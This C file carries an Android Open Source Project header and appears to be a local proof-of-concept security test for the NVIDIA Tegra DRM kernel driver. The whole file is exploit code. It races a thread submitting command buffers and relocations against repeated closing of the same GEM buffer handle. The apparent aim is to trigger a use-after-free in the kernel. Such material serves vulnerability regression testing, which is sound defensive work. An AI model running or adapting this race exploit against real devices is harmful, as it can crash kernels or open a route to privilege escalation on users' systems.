/* * Copyright (C) 2017 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <unistd.h> #include <sys/types.h> #include <sys/ioctl.h> #include "local_poc.h" #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__) #define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno)) #define DEV "/dev/dri/renderD129" #define CMD_NUM 100 int dev_fd; volatile struct drm_tegra_open_channel open_c; volatile struct drm_tegra_submit submit_c; volatile struct drm_tegra_gem_create gem_create; volatile struct drm_gem_close gem_close; volatile struct drm_tegra_cmdbuf cmdbufs[CMD_NUM]; struct drm_tegra_syncpt syncpt; volatile struct drm_tegra_reloc relocs[CMD_NUM]; static int set_affinity(int num) { int ret = 0; cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(num, &mask); ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); if(ret == -1){ } return ret; } static int prepare() { int i; open_c.client = HOST1X_CLASS_VIC; submit_c.num_syncpts = 1; submit_c.syncpts = (__u64)&syncpt; gem_close.handle = 1; for(i = 0; i < CMD_NUM; i++){ cmdbufs[i].words = 0; cmdbufs[i].offset = 0; cmdbufs[i].handle = 0; relocs[i].cmdbuf.handle = 0; relocs[i].cmdbuf.offset = 0; relocs[i].target.handle = 0; relocs[i].target.offset = 0; } submit_c.num_cmdbufs = CMD_NUM; submit_c.cmdbufs = (__u64)cmdbufs; submit_c.num_relocs = CMD_NUM; submit_c.relocs = (__u64)relocs; gem_create.size = PAGE_SIZE; return 0; } #define SUBMIT_THREAD_NUM 1 pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 }; static void* submit_thread(void *no_use) { set_affinity(1); ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c); return NULL; } int main() { int ret; int i; __u64 try_time; set_affinity(0); dev_fd = open(DEV,O_RDONLY); if(dev_fd == -1){ return 0; } prepare(); ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c); if(ret == -1){ goto out_dev; } submit_c.context = open_c.context; try_time = 1; while(1){ ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create); if(ret == 0){ for(i = 0; i < CMD_NUM; i++){ cmdbufs[i].handle = gem_create.handle; relocs[i].cmdbuf.handle = gem_create.handle; relocs[i].target.handle = gem_create.handle; } for(i = 0; i < SUBMIT_THREAD_NUM; i++){ pthread_create(submit_thread_id + i, NULL, submit_thread, NULL); } usleep(150); while(ioctl(dev_fd, DRM_IOCTL_GEM_CLOSE, &gem_close) == 0); } try_time++; } for(i = 0; i < SUBMIT_THREAD_NUM; i++){ pthread_join(submit_thread_id[i], NULL); } out_dev: close(dev_fd); return 0; }